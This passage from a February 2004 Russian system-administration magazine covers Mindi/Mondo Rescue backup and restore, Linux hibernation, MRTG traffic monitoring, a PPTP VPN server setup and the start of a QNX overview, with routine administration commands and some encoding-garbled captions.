вичку, а также быстроте работы, эффективности, устойчивости и дальнейшему активному развитию. Итак, по порядку. Mindi Linux создает набор, который поможет вам в обслуживании системы вашего дистрибутива в случае неприятностей. В этот набор входят ядро той системы, в которой запущен Mindi, а также модули, файлы библиотек и основные утилиты. В этом и основная суть, что используются для восстановления именно родные составляющие. В базовый набор программ входят утилиты вроде fdisk, mkfs, fsck, cat, less, more, afio, gzip, bzip2 и пр., а также конфигурация клавиатуры, библиотека glibs. При необходимости можно и изменить состав пакетов, добавив и свои, в том числе и включая X-Window, для этого достаточно занести необходимые в файл deplist.txt, который находится в зависимости от того, в каком виде (из пакетов или исходников) устанавливался Mindi, либо в /etc/mindi/, либо в /usr/local/mindi, причем в нем уже имеются готовые шаблоны, которые достаточно просто раскомментировать. Установка самой программы особых трудностей не должна вызвать, на сайте кроме архива с исходниками доступны и прекомпилированные пакеты, собранные под большинство известных дистрибутивов Linux. Для пакетов это выглядит так:
администрирование #tar -zxvf mindi-0.95_cvs_20040110.tgz # cd mindi-0.95_cvs_20040110 # ./install.sh
(в моем случае по причине отсутствия устройства /dev/ fd0H1722) 1.72 Мб образ, но при использовании в дальнейшем для работы СD-ROM или NFS это не смертельно.
А при помощи rpm-пакетов: # rpm -i mindi-0.95-1.i386.rpm
Для своей работы Mindi требует наличия некоторых установленных утилит, список которых вы найдете на сайте, но все они, как правило, уже имеются в современных дистрибутивах. Среди рекомендаций следует обратить внимание на наличие свободного места на жестком диске (~800 Мб), которое может понадобиться для промежуточных файлов, и желательно ядро, выше 2.2.19 или 2.4.7 с поддержкой в первую очередь loopfs, а также Virtual memory file system и initrd ramdisk support. Остальное обычно уже имеется. И теперь программу можно запускать.
Далее система спрашивает, будем ли мы использовать собственное ядро для построения загрузочного диска. В случае положительного ответа будет использовано ядро, с которого система загружалась, иначе можно ввести путь к другому ядру, например, взятому с сайта www.mondorescue.org, если собственное не удовлетворяет по каким-либо причинам.
После определения ядра система спрашивает, хотим ли мы использовать LILO для загрузки вместо syslinux. Что выбирать – дело вкуса, но выбрав LILO, вы должны убедиться, что он установлен в системе.
Далее система анализирует конфигурацию системы, которую также заносит в создаваемый архив.
Сейчас можно записать все созданные образы на дискеты.
После утвердительного ответа на последующий вопрос будет содан ISO-образ, содержащий все данные.
Если сейчас посмотреть в каталог /root/images/mindi, в нем находится несколько файлов.
В нем, как видите, собраны образы для записи на дискеты, архивы с данными и ISO-образ, который нам и нужен. Записываем его на болванку: # cdrecord -blank fast dev=0,0,0 speed=12 ↵ /root/images/mindi/mindi.iso
Все, теперь у нас в руках загрузочный СD-ROM, созданный под конкретную задачу и требования. При необходимости загружаемся с него и автоматически загружается программа Mondo Rescue, о которой пойдет речь чуть ниже. Если же с созданием образа что-то не получилось, то исчерпывающий ответ о причине можно получить в файле /var/log/mondo-archive.log, который разработчики просят прислать в случае обращения за помощью. Также для тех, у кого ничего не получилось, то можно найти уже готовые ISO-образы по ссылкам на сайте, с этих же образов можно установить полностью весь комплект программ, просто сначала примонтировав диск и затем зайдя на него, введя setup. Теперь можно, загрузившись с этого СD-ROM, провести спасательные работы по восстановлению системы. Но это еще не все.
Mondo Rescue
Как видите, в строке ниже система не смогла создать
№2(15), февраль 2004
Далее переходим к рассмотрению Mondo Rescue – набора утилит, который предназначен для создания резервной копии выбранной области системы, и записи их затем на CD-R/RW, NFS, стриммер или на жесткий диск. В случае краха систему можно будет очень легко восстановить, и в том числе с нуля, что может понадобиться не
15
администрирование только в аварийных случаях, но и при переразбиении дискового пространства или, например, при переходе на RAID. Также этот пакет придется по вкусу тем, кому нужна просто возможность клонирования системы на несколько компьютеров с одинаковой конфигурацией, т.к. вместе с выбранными каталогами для сохранения на диск заносятся также и boot-секторы. Mondo Rescue поддерживает почти все файловые системы, о которых знает ядро Linux: ext2, ext3, JFS, XFS, ReiserFS, VFAT, а также LVM и RAID. Но его можно использовать и для резервирования не-Linux файловых систем, например NTFS. Mondo используют такие «монстры», как Siemens, HP (в США и Франции), IBM, NASA. Распространяется под лиценцией GPL как bridalware, плата берется за техническую поддержку. Установка обычная для Linux.
мально возможный размер архивируемых данных (по умолчанию предлагается 650 Мб), в этом случае будет создано несколько образов, не превышающих указанный размер. Далее выбираем степень сжатия данных. None выбирается, если streamer поддерживает аппаратное сжатие и Maximum при мощном процессоре. В остальных случаях достаточно средней степени сжатия (рис. 2). Указываем на каталог, который собираемся архивировать. В случае полной архивации (исключая /tmp и /proc) это /. И в следующем окне перечисляем каталоги, которые необходимо исключить из списка архивации.
#tar -xzvf mondo-1.75_cvs_20040110.tgz # cd mondo-1.75_cvs_20040110 #./configure && make #su #make install
Для стабильной версии 1.67 этап конфигурирования не требуется. Для своей работы Mondo требует уже установленого Mindi и утилиты afio, которая создает файлы формата, подобного cpio, и может создавать многотомные архивы и сжимать их, сейчас эта утилита имеется практически во всех дистрибутивах, также для версии 1.75 потребуется утилита partimagehack, если чего-то нет, ссылки имеются на сайте в конце страницы Download. После этого в каталоге /usr/local/bin появятся файлы mondoarchive и mondorestore. Mondo Rescue при архивировании данных имеет два режима работы: интерактивный и командный. Для работы первого запускаем утилиту mondoarchive без параметров: #usr/local/bin/mondoarchive
И далее начинаем отвечать на вопросы программы. Выбираем устройство, на которое будем записывать архивные данные (рис. 1).
Ðèñóíîê 2
Следующий шаг интересный. Вас спросят, нормальное ли ядро в системе. В качестве подсказки написано, что пользователям Red Hat, Mandrake, SuSE и Slackware можно давать утвердительный ответ, а вот Debian и Gentoo используют нестандартные конфигурации ядра, и ответ – No. В этом случае необходимо использовать ядро, взятое с сайта www.mondorescue.org. И последним шагом будет задан вопрос о проверке записанной информации. И далее идет процесс создания образов, в ходе которого будет создан список каталогов, который будет поделен на наборы, после чего вызывается Mindi для создания загрузочного диска, описанного выше, после чего начнется процесс архивирования данных. В командном режиме необходимо сразу ввести все необходимые опции в командной строке, все они хорошо описаны на соответствующей man-странице. Две опции -О и -V являются определяющими. Первая говорит об архивировании данных, вторая предназначена для проверки записанного. Так, например, команда: # mondoarchive -Oc 24 -g
Ðèñóíîê 1
Если выбран CD-R[W], то следующим шагом будет задан вопрос о поддержке устройством технологии BurnProof и чуть позже попросят указать скорость привода и макси-
16
запишет все данные на СD-R болванку со скоростью (опция -с) 12 и в так называемом GUI mode (-g), когда программа общается с пользователем в процессе работы. Если mondoarchive запускается при помощи cron, то ее использовать не нужно. Теперь, пока идет создание первого образа, вставляем пустой диск в привод и запускаем, когда потребуется следующий, то программа сообщит об этом. Если программа не может найти привод, то при-
администрирование нудительно показываем на него, добавив строку -d 0,0,0 (свои цифры можно узнать, запустив cdrecord -scanbus). Проверить можно, введя:
ле загрузки с первого СD-ROM и появления приглашения набираем: # interactive
#mondoarchive -Vc 24
При использовании диска СD-RW вместо -с ставим -w с указанием скорости, опция -r используется при работе с пишущим DVD-приводом, но скорость при этом указывать не надо, программа сама выберет максимальную, а если необходимо просто создать ISO-образы без записи на болванку, то ставим -i, -t используется при работе со стриммером и -n mount_point при архивировании на NFS (эта точка должна быть смонтирована до начала операции). # mount 192.168.0.10:/home/nfs -t nfs /mnt/nfs # mondoarchive -OVn 192.168.1.3:/home/nfs -g -s 650m # umount /mnt/nfs
Опция -s устанавливает максимальный размер выходного файла. Если требуется исключить некоторые каталоги из списка архивируемых, то указываем на них при помощи -Е, например: #mondoarchive -E /mnt/dos /mnt/cdrom -9 -Ow 12
Цифра -9 после каталогов означает степень компрессии, по умолчанию используется -3, -0 означает без компрессии данных, добавив опцию -L, можно использовать более быструю lzo-компрессию вместо bzip2. Кроме командного режима можно сравнить записанное и в интерактивном. Для этого загружаемся с первого диска и вводим: #compare
После чего следуем за инструкциями на экране, все изменившиеся файлы можно найти в /tmp/changed.txt. Как видите, это инструмент, хотя и не для каждодневного резервного сохранения данных, т.к. нет возможности выборки изменившихся данных, но для полного восстановления системы или отдельных каталогов после различных неприятностей это довольно удобная программа.
После чего в окне «Editing mountlist screen», двигаясь при помощи клавиш курсора, возможно отредактировать текущую геометрию диска. А так после загрузки, отвечая yes/no на следующие вопросы, можно полностью восстановить все необходимое. Do you want to partition your devices? No Ò.å. õîòèì ïåðåðàçáèòü äèñê? Do you want to format them? No È ôîðìàòèðîâàòü åãî çàòåì? Do you want to restore everything? No Íàäî ëè âîññòàíàâëèâàòü âñþ èíôîðìàöèþ? Do you want to restore something? Yes Èëè õîòèì ÷òî-òî âîññòàíîâèòü âûáîðî÷íî? Which path do you want to restore? /home/hugo [e.g.] /home Êàêîé èìåííî ðàçäåë? Do you want to run LILO to setup your boot sectors? No Õîòèì ëè âîññòàíîâèòü LILO?
Здесь хотелось бы отметить, что, введя: # mondorestore –mbr
можно восстановить загрузочный сектор жесткого диска. Введя при загрузке expert, попадаем в shell и делаем все, что необходимо по восстановлению системы вручную, такая себе замена спасательного диска, больше сказать здесь и нечего. В режим Advanced можно перейти, например, после режима Еxpert и произведения в нем всех необходимых работ. Для этого ввводим в строке приглашения: # mondorestore
После чего выбираем источник, с которого будет происходить восстановление системы, указываем на файлы, которые хотим восстановить (рис. 3), и точку монтирования, которая будет считаться корневой при восстановлении данных. После чего выбранные файлы будут восстановлены.
Восстановление системы после сбоев Mindi предлагает несколько режимов восстановления данных: Nuke, Interactive, Expert и Advanced. Разберем по порядку. Nuke Restore предназначен для полного восстановления системы или для клонирования системы. При этом все данные сначала удаляются, а затем в автоматическом режиме восстанавливаются из архивов. Для этого загружаемся с первого СD-ROM, при появлении приглашения нажимаем Enter и по запросу вставляем последующие диски и следим за выводом ошибок (/tmp/mondorestore.log). Все остальное система сделает сама. Если требуется перед этим переразбить жесткий диск или восстановить не всю систему, то используется режим Interactive, позволяющий в удобном пошаговом режиме проделать эти операции. Для перехода в этот режим пос-
№2(15), февраль 2004
Ðèñóíîê 3
Как видите, пакеты Mindi Linux и Mondo Rescue представляют собой довольно удобный и простой в использовании инструмент, который, несомненно, может существенно облегчить процесс восстановления данных после системного сбоя или помочь в клонировании системы. На этом все. Успехов.
17
администрирование
МЫ С LINUX ЭТИМ ЛОЖИМСЯ И С LINUX ЭТИМ ВСТАЕМ – ПОСЛЕДСТВИЯ ГИБЕРНАЦИИ
АНТОН БОРИСОВ
18
администрирование Сегодня мы рассмотрим такой вопрос, как программная гибернация (hibernation) в ОС Linux. Поддержка засыпания была начата для серий 2.4 Linux, но т.к. время не стоит на месте, на сегодняшний момент выпущена новая серия 2.6 (где, в частности, переработана подсистема управления энергосбережением), поэтому и мы будем работать именно под этой серией. Теперь в 2.6.xx Linux-ядрах существует полноценная поддержка, то, что раньше было только в экспериментальном исполнении. Для приверженцев 2.4.xx ядер рекомендуется наложить патчи, чтобы получить то, что по умолчанию поставляется в новой ветке. Ну что же, краткая предыстория рассказа о гибернации. Первый раз мне пришлось столкнуться с этой увлекательной функцией в 2002 году, когда вышли первые релизы Windows XP Professional. Любопытство одержало верх, и некоторое время я проработал в данной ОС, тем паче, что задачи, решаемые в тот момент, требовали среду разработки именно Windows-платформы. Кроме отличного дизайна интерфейса в системе была функция сбережения питания, так называемое hibernate state. Это означает, что в любой момент времени можно перевести систему вместе со всеми приложениями, которые работают, в состояние, когда все ОЗУ персоналки записывается на диск и производится отключение питания. При этом в момент включения питания, ОЗУ, которое было записано на диск, переписывается обратно в память (точнее не ОЗУ, а его содержимое) и передается управление на тот код, который работал перед самым отключением питания. Чем эта схема любопытна? В первую очередь тем, что мы не закрываем/открываем заново приложения, состояния в программных продуктах остаются неизменными. Во-вторых, не требуется вспоминать, что же конкретно мы делали в предыдущий день, все остается на рабочем столе, как и в прошлый раз. Тем самым, уходя с работы и переведя систему в такое состояние, мы не беспокоимся, а выдержат ли наши бесперебойники, а не сгорит ли рабочее место из-за повышенной температуры, в общем, масса хлопот с плеч долой. Тем более, если мы работаем с ноутбуком, где в первую очередь стоит энергосбережение. Поэтому возможность эту мы запомнили, поставили под контроль. Что же касается Windows XP, то может быть из-за того, что версия была слишком сырой на тот момент или просто из-за того, что за 100 рублей Genuine Windows-продукты не купить, а получать извещения о завершенных приложениях необходимостив этой связи направить письмо в службу поддержки, совершенно меня стали огорчать, пришлось совмещать полезное с приятным или даже, наоборот, приятное с полезным, slackware с VMware+Windows 2000 Pro. Это была преамбула, нас же интересует реализация режима сна именно в Linux. Так что история начинается. Для тех, кто ни разу не сталкивался с гибернацией (засыпанием), следует ознакомиться с документацией, которая идет вместе с 2.6 ядром (директория /usr/src/linux/ Documentation/power). Не стану подробно останавливать-
№2(15), февраль 2004
ся на всех файлах. Отмечу, что «swsusp.txt» – начальная точка для понимания проблемы. Итак, что в первую очередь следует сделать? Подготовить swap-раздел таким образом, чтобы его размер превышал в 2 раза объем установленной RAM в системе. Если вы опытный администратор, то именно так вы и поступаете, не мне вас учить. Для чего это нужно? Именно в swap-раздел производится сброс содержимого RAM в процессе засыпания и дальнейшее его восстановление во время пробуждения. Второе, добавляем в /etc/lilo.conf следующую строку: append="apm=power-off resume=/dev/hdc5 acpi=force"
Это означает, что при старте ядру будут переданы данные параметры. Если ваш box изготовлен не позднее 1999 года, то «acpi=force», как правило, не требуется. Однако на моей рабочей машине, приходится добавлять, ибо без нее ACPI-подсистема не хочет подниматься. Сочетание «resume=/dev/hdc5» означает, что раздел для гибернации называется /dev/hdc5 (он же swap-раздел). В дальнейшем мы увидим, что во время нормальной работы сигнатура swap-раздела меняется на свою нормальную сигнатуру SWAPSPACE2. (В cпящем режиме она устанавливается как S2SUSP). Не забудем установить заново lilo-загрузчик: lilo -v
Теперь мы готовы для засыпания. Перезагрузимся, чтобы новые параметры были знакомы ядру. reboot. Итак, производим следующую простую операцию: echo 4 > /proc/acpi/sleep
(за цифрами обращайтесь к документации, прилагаемой к исходникам ядра – ссылка была дана выше в статье). Таким образом мы не совершаем какие-то магические пасы, а через псевдофайловую систему proc записываем данные в служебные структуры ядра. Заметьте, что если ACPI-подсистема не стартовала, то директории /proc/acpi у нас в системе не будет. Далее ядро начинает сбрасывать дамп памяти в swapраздел. При этом в syslog появляются следующие сообщения:
19
администрирование После этого происходит отключение питания. На что следует обратить внимание. Когда вы в следующий раз включаете машину, то вы имеете полное право подать параметр «noresume» ядру, которое запрещает восстанавливать состояние гибернации. Делать этого не рекомендуется, так как содержимое на вашем корневом разделе может помахать вам ручкой. Во всяком случае не все содержимое, а только последние изменения. У меня используется ext3 файловая система, поэтому этот вывод был сделан из сообщений, посылаемых обработчиком файловой системы. Если у вас не было swap-раздела до засыпания, то заснуть вам также не удастся. Так что имейте это в виду. Простое правило – между засыпанием и просыпанием не пишите на раздел. На swap-раздел уж точно писать не надо, т.к. cигнатуры (SWAPSPACE2), показывающей, что там именно swap, нет. Поэтому подключить его пока не получится. А специально проинициализировать его придется, вызвав команду:
«while atomic». Ядро находится в режиме, когда нельзя обрабатывать прерывания – разделять работу. Также рекомендуется не иметь «активных» процессов в системе во время подготовки ко сну. Под «активными» процессами я подразумеваю те, которые на момент засыпания ведут активные операции по переработке данных (пусть, например, это будет операция select в mysql-базе). Перед засыпанием мы запускали dmesg:
Подсистема гибернации обнаружила, что в swap-разделе запись «SWAPSPACE2»: dd if=/dev/hdc5 bs=1k count=4 2> /dev/null | strings | grep SWAP
поэтому возобновление не было произведено. После просыпания опять запустим dmesg:
/sbin/mkswap /dev/hdc5
Повторюсь, что данные действия не являются обязательными. Мы исследуем то, что может быть при обстоятельствах, когда жесткий диск изъят из системы в состоянии «сна» (гибернации). Теперь мы приходим из отпуска – включаем рубильник.
Все прошло удачно. Поздравляю! Теперь немного пошалим. После очередного засыпания укажем ядру, что возобновление из swap-раздела делать не надо. Передаем параметры ядру: "noresume init=/bin/sh"
Мы не в полноценном режиме, поэтому процессы из /etc/rc.d не запустились. dd if=/dev/hdc5 bs=1k count=4 2> /dev/null | strings | grep SUSP
На выходе у нас строчка «S2SUSP», означающая, что swap-раздел работает в качестве хранилища для содержимого RAM. Поэтому, когда вы увидите строку «Fixing swap signatures... ok», не удивляйтесь, так и должно быть. С подменой сигнатур мы разобрались. Теперь идем дальше. А что если усыпить систему на одном железе, а разбудить на другом? Ну что ж, скажу сразу, мне пока этого не удалось. Опишу свои действия. Я пересобрал ядро, чтобы оптимизация была под 586MMX-архитектуру. Это позволит загрузиться как под Athlon XP, так и под Intel MMX процессорами. Перед сессией засыпания под Athlon XP 1700+ процессором я указал ядру, что памяти у меня немного, всего лишь 32 Мб (mem=32M). Это необходимо, так как на системе, где я собираюсь проснуться (точнее не я, а мой slackware-винт), всего-то 32 Мб памяти. Смотрим в syslog после просыпания:
Ура! Все работает. Ну или почти все. Если вам интересно, то смотрите свой syslog. Единственное замечание, которое возникает, – запись
20
Очень жаль, попытка не удалась. Попробуем теперь произвести на сходной системе, процессор, правда, не Athlon XP 1700+, а чуть пониже – 1600+.
администрирование Еще раз «усыпляю» на родном железе и просыпаемся на новой машине. Скажу сразу – сообщений от ядра я не получил, так как «Resume Machine» при восстановлении регистров процессора приказала долго жить. Так что в этом направлении можно еще работать. Теоретически никто не запрещает, вариант вполне зрелый. Обращаю ваше внимание, что когда винт с установленной системой перемещаете по разным машинам, не забывайте указывать, сколько памяти у вас есть. Иначе получите следующие сообщения:
Под X-Window лично меня смущает, что библиотека GNOME неправильно отрисовывает некоторые элементы. Так как, некоторые приложения у меня на основе GNOME, то приведенные ниже картинки позволяют увидеть, что некоторые элементы отсутствуют. Видимо это ошибка в самой GNOME-библиотеке, хотя данный факт сейчас рассматривается на приложениях, использующих другие библиотеки.
Теперь о самом интересном – о возможных последствиях при возобновлении работы. Первое, что бросилось в глаза, – невозможно прочитать smb-расшаренные ресурсы. Системы, где расшарены ресурсы, пингуются, а получить файлы нельзя (точнее зайти в точки монтирования). Приходится размонтировать и заново примонтировать эти ресурсы. cat /etc/mtab | grep smbfs
Узнали точки монтирования и знаем, что необходимо перемонтировать заново. Второе. Приложения, которые перед засыпанием использовали звуковую карту, при возобновлении работы хранят молчание. Не произошла инициализация контроллера? Укажу, что за система у меня.
USB-свистка у меня нет, поэтому ничего сказать не могу про поведение USB-шины. Однако сообщения ниже меня смутили.
Как видим, некоторые элементы отсутствуют. Рестарт X-сервера решает эти проблемы.
Итог В целом, мне понравилась реализация «сна». При более детальном подходе, может быть, кто-то уже и решил указанные в статье недочеты, во всяком случае http:// www.google.com – ваш надежный путеводитель.
№2(15), февраль 2004
21
администрирование
ПРОСТАЯ УСТАНОВКА MRTG ДЛЯ RED HAT LINUX
АНДРЕЙ МАРКЕЛОВ 22
администрирование Что такое MRTG? MRTG (Multi Router Traffic Grapher) – сервис, позволяющий посредством протокола SNMP получать из нескольких устройств информацию и отображать в окне вашего браузера графики загруженности канала (входящий трафик, исходящий, максимальный, средний) с шагом в минуты, часы, дни и за год. Пример работы программы вы можете увидеть по адресу: http://www.ee.ethz.ch/stats/mrtg/. Почему в заглавии статьи есть фраза «простая установка»? Объясняю. В большинстве случаев системному администратору не требуется мониторить кучу точек своей сети посредством SNMP. Для небольшой организации наиболее логичным и зачастую единственным применением подобного инструмента является мониторинг загрузки внешнего интерфейса прокси-сервера, на который мы и будем локально ставить MRTG. Это значительно упрощает установку программы и исключает использование протокола SNMP. Опять же из соображений простоты установки выбран Red Hat Linux (ну и, конечно, из соображений распространенности в России, не забываем, что ряд российских дистрибутивов создан на основе «шапочки»). Это позволит нам избежать этапов компиляции библиотек и самого MRTG.
Требования к установке Для работы MRTG требуются следующие библиотеки: ! gd – graph drawing library. Библиотека, ответственная за формирование графики (http://www.boutell.com/gd/); ! libpng – требуется gd для создания графики в формате png (http://www.libpng.org/pub/png/src/); ! zlib – данная библиотека используется для компрессии созданной графики (ftp://sunsite.cnlab-switch.ch/ mirror/infozip/zlib/). Берем с сайта Red Hat (или диска с дистрибутивом) соответствующие rpm-пакеты и устанавливаем их командной rpm –i <имя пакета>. У меня были установлены следующие версии: ! gd-1.8.4-4.rpm ! libpng-1.0.12-2.rpm ! zlib-1.1.4-8.rpm Перед тем как устанавливать пакет, вы можете проверить его наличие в системе, а соответственно и необходимость установки командой:
mrtg.cfg с настройками, а в /usr/bin/ – утилиты конфигурирования и непосредственно сам исполнимый файл /usr/bin/mrtg. Далее при стандартной настройке сервиса нам бы пришлось настраивать SNMP как на устройстве/интерфейсе, с которого снимаем информацию, так и на нашей локальной машине, где установлен MRTG. Мы же обойдемся без этого, и по адресу http://freshmeat.net/redir/cban/18710/ url_tgz/cban-0.1.8-0.tgz скачаем утилитку cban (Current BANdwidth by Nicu Pavel), которая будет поставлять нам нужную информацию, обходясь без SNMP. Разворачиваем архив и кладем файл /bin/cban в /usr/sbin. Также для нас интерес представляет файл /etc/mrtg/samplemrtg.cfg – это, как и обещает нам название, пример файла конфигурации для mrtg. Приведу его полностью: Title[eth0]: Traffic eth0 MaxBytes[eth0]: 125000 AbsMax[eth0]: 125000 Options[eth0]: gauge Target[eth0]: `/usr/sbin/cban -i eth0 -m` PageTop[eth0]: <H1>eth0 statistics</H1> YLegend[eth0]: Bytes/s ShortLegend[eth0]: B/s Legend1[eth0]: Incoming Traffic Legend2[eth0]: Outgoing Traffic Legend3[eth0]: Maximum Incoming Traffic Legend4[eth0]: Maximum Outgoing Traffic LegendI[eth0]: &nbsp;In: LegendO[eth0]: &nbsp;Out: WithPeak[eth0]: ymwd
Фактически это готовый конфигурационный файл, работающий и без изменений. Обращаю внимание на строчку «Target[eth0]: `/usr/sbin/cban -i eth0 -m`». В ней прописан вызов нашей утилиты. eth0 – имя отслеживаемого интерфейса локальной машины. При необходимости отслеживать другой интерфейс вы должны здесь его указать. Кроме того, нужно указать каталог, куда будем складывать результаты работы в виде HTML-странички с графиками WorkDir: /var/www/html/mrtg. По адресу http://ваш_хост/ mrtg/reference.html находится документ, расписывающий все возможные опции конфигурационного файла.
Запуск MRTG После того как мы разобрались с конфигурационным файлом, осталось попробовать запустить исполняемый файл /usr/bin/mrtg и посмотреть, что в результате получится. Даем команду:
rpm –qi <èìÿ ïàêåòà> . /usr/bin/mrtg /etc/mrtg/mrtg.cfg --logging /var/log/mrtg.log
Устанавливаем и настраиваем MRTG Идем на сайт проекта http://people.ee.ethz.ch/~oetiker/ webtools/mrtg/. По ссылке «Download MRTG» качаем собранный под Red Hat rpm-пакет. Ставим аналогично библиотекам командой: rpm –i mrtg-2.x-y-z.i386.rpm
В результате получаем в каталоге Apache c содержанием вашего сайта (/var/www/html/) подкаталог mrtg c html-файлами документации. Сюда же будут помещаться результаты визуализации работы MRTG. В /etc/mrtg помещается файл
№2(15), февраль 2004
и проверяем каталог, заданный параметром WorkDir на предмет появившихся новых файлов. Если все в порядке, то теперь можно заставить MRTG перегенерировать статистику, например, каждые пять минут: crontab -e */5 * * * * /usr/bin/mrtg /etc/mrtg/mrtg.cfg ↵ --logging /var/log/mrtg.log
Поздравляю! Теперь у нас есть инструмент наглядного и понятного контроля за трафиком в офисе. Да и большому начальнику при необходимости можно показывать эти «веселые картинки».
23
администрирование
VPN SUCCESS STORY (MINI-HOWTO)
АНДРЕЙ МОЗГОВОЙ Хочу рассказать вам о благополучном поднятии VPN в локальной сети. Учтите, пожалуйста, что VPN был организован не для соединения удаленных сетей, а для решения проблемы «подмены IP- и MAC-адресов пользователями локальной сети». Для аутентификации будем использовать протокол MSCHAP-v2. Для шифрования трафика используется MPPE (Microsoft Point-to-Point Encryption). MPPE – это протокол, разработанный специально для передачи зашифрованных дейтаграмм по соединению точка-точка (point-to-point).
24
Дистрибутив Slackware 9.1. Ядро Linux-2.4.24. Вам так же понадобятся ppp-2.4.2b3 и poptop-1.1.4-b4. Желательно использовать последний ppp-cvs, так как в его дереве уже имеется скрипт, который вносит в ядро необходимые изменения. Poptop – это VPN-сервер, к которому подключаются клиенты. Замечание: во время редактирования настоящей статьи вышел релиз ppp-2.4.2. Автор уже проверил его работоспособность – все в порядке.
администрирование ! Собираем pppd: ./configure make make install
! Скриптом mppeinstall.sh из ppp-2.4.2b3/linux/mppe пат!
чим ядро. Хотя в ppp-2.4.2b3 нет патча для ядра linux2.4.24, к ядру удачно применяется патч для linux-2.2.20. Заходим в конфигурацию ядра. Нам нужен раздел «Network device support». В нем включаем поддержку протокола PPP, несколько дополнительных модулей и новую опцию MPPE-шифрования (по возможности включайте опции модулями). В «make menuconfig» конфигурация должна выглядеть примерно так: <M> [*] [*] <M> <M> <M> <M> <M> <M>
!
PPP PPP PPP PPP PPP PPP PPP PPP PPP
(point-to-point protocol) support multilink support (EXPERIMENTAL) filtering support for async serial ports support for sync tty ports Deflate compression BSD-Compress compression MPPE compression (encryption) over Ethernet (EXPERIMENTAL)
В разделе «Cryptographic options» включите «Cryptographic API», в нем обязательно включите «SHA1 digest algorithm» и «ARCFOUR» (ARCFOUR сказано включить в документации, но такого в linux-2.4.24 нет. Предполагаю, что еще необходимо включить «HMAC support» и «MD5 digest algorithm», остальные – на ваше усмотрение). Сохраняем изменения, пересобираем ядро и модули. Собираем poptop: ./configure --with-pppd-ip-alloc. /* äîïîëíèòåëüíàÿ îïöèÿ äëÿ ñíÿòèÿ îãðàíè÷åíèÿ * íà êîëè÷åñòâî ñåññèé è åùå êîå-÷òî ïîëåçíîå ñ * âûäåëåíèåì IP-àäðåñîâ. */ make make install
Настройка: Ôàéë /etc/ppp/options lock Ôàéë /etc/ppp/options.pptpd #debug ipparam PoPToP lock mtu 1490 mru 1490 ms-dns <your dns ip addr> proxyarp auth refuse-pap refuse-chap refuse-mschap require-mschap-v2 require-mppe require-mppe-128 ipcp-accept-local ipcp-accept-remote lcp-echo-failure 30 lcp-echo-interval 5 deflate 0
Замечание: как сказано выше, для аутентификации используем только ms-chap-v2. Чтобы узнать больше о параметрах и их значениях, загляните в man 8 pppd.
№2(15), февраль 2004
Ôàéë /etc/pptpd.conf #debug speed 115200 option /etc/ppp/options.pptpd #localip 10.0.0.1 #remoteip 10.0.0.2-254
Замечание: последние две строки не имеют особого смысла, если poptop собирался с параметром «--with-pppdip-alloc». Запускается все следующим скриптом: Ôàéë /etc/rc.d/rc.pptpd #!/bin/sh # # /etc/rc.d/rc.pptpd # # description: control pptp server # case "$1" in start) modprobe ppp_async modprobe ppp_generic modprobe ppp_mppe modprobe slhc if /usr/local/sbin/pptpd; then touch /var/lock/subsys/pptpd fi ;; stop) killall –TERM pptpd rm -f /var/lock/subsys/pptpd ;; restart) killall pptpd if /usr/local/sbin/pptpd; then touch /var/lock/subsys/pptpd fi ;; status) ifconfig ;; *) echo "Usage: $0 {start|stop|restart|status}" ;; esac
Пользователи прописываются в /etc/ppp/chap-secrets. Формат файла и пример заполнения: # Secrets for authentication using CHAP # client server secret test * test
IP addresses 192.168.1.5
Все мелкие детали, надеюсь, додумаете сами. А трафик считать – милое дело! (man pppd, раздел SCRIPTS). Есть такие файлы /etc/ppp/ip-up и /etc/ppp/ip-down, которые pppd запускает в начале и в конце соединения соответственно. А им (этим файлам) передаются такие интересные параметры, как, например, логин, время на линии, скорость, сколько получено и отослано байт и т. д. Как настроить клиентов, почитайте тут: http://poptop. sourceforge.net/dox/. Замечание: администраторам, которые решили реализовать в своей сети VPN-доступ, поможет DHCP-сервис. Предварительно, до установки VPN-соединения, адреса в сети можно раздавать с помощью DHCP, из какой-нибудь внутренней сети (192.168.1.0/24) без выхода в Интернет, главное, чтобы VPN-шлюз был доступен. Доступ в Интернет у пользователей будет появляться только после установления VPN-соединения. Отдельное спасибо Дмитрию Коптеву за помощь в организации соединения и Андрею Бешкову за критику.
25
администрирование
QNX
АЛЕКСАНДР БАЙРАК 26
администрирование Все операционные системы можно разделить на 2 категории: ОС общего назначения, для которых главной задачей является эффективное распределение и использование ресурсов компьютера, и на ОС реального времени, для которых задачей номер один является своевременная обработка запроса, а все остальное как бы отходит на второй план. В свою очередь ОСРВ также делятся на два типа – мягкого и жесткого реального времени. Между собой они главный образом отличаются тем, что ОС жесткого реального времени гарантирует выполнение всех положенных ей действий за строго определенный промежуток времени, в свое время мягкие ОСРВ в большинстве случаев, конечно, успевают сделать все им предписанное, однако ничего не гарантируют. QNX – это операционная система жесткого реального времени. Вы удивитесь, но и само семейство ОС QNX тоже следует разделить на два вида дистрибутивов. QNX может поставляться как встроенная система и как среда разработчика. К примеру, купили вы новомодную стиральную машину, а за процессом стирки в ней зорко наблюдает QNX (как встроенная система), теперь можете считать себя счастливым обладателем этой ОС (и даже ее пользователем) . Но кроме как радоваться ее безупречной работе, вам больше ничего не остается, потому как вся настройка, отладка, компоновка производится в другом виде дистрибутивов – комплекте разработчика. Надо заметить, что если вы установили на свой компьютер среду разработчика, никто вас не заставляет использовать ее по прямому назначению, такой вид дистрибутивов можно использовать и как desktop-систему. Смею вас заверить, это намного реальнее, чем кажется на первый взгляд. Встраиваемые версии QNX сейчас работают на следующих платформах: ARM, StrongARM, MIPS32, PowerPC, x86, SH4 и Xscale. А комплекты разработчика на x86 и на SPARC. Эту «двоякость» QNX очень важно уяснить. Рассмотрим дистрибутивы разработчика. QNX6 разрабатывалась как POSIX-совместимая OCPB. Следует также заметить, что она достаточно хорошо заточена под программы, которые написаны для ОС Linux. Только бери исходники и компилируй, иногда все компилируется вообще без единной правки. Тут надо отметить, что официальный компилятор под QNX4 и более ранних версий был Watcom C++, но с 6 версии им является GNU C. Компания QSSL, выпуская на рынок QNX6, сделала два варианта дистрибутива: ! QNX RTP (Real Time Platform) – бесплатная среда разработки для некоммерческого использования. С возможностью (в случае начала коммерческих разработок) приобретения у разработчиков лицензии. ! QNX NIP (Networking Infrastructure Platform) – коммерческий дистрибутив, по сути тот же QNX RTP, но с дополнением в виде возможностей, которые оценили по достоинству производители оборудования для сетей. С выходом версии 6.2 компания решила выпускать дистрибутивы по другой схеме. Отныне пакет разработчика вместе с ОСРВ QNX, графической средой Photon, инструментами для разработки и некоторым количеством дополнительного ПО получили название 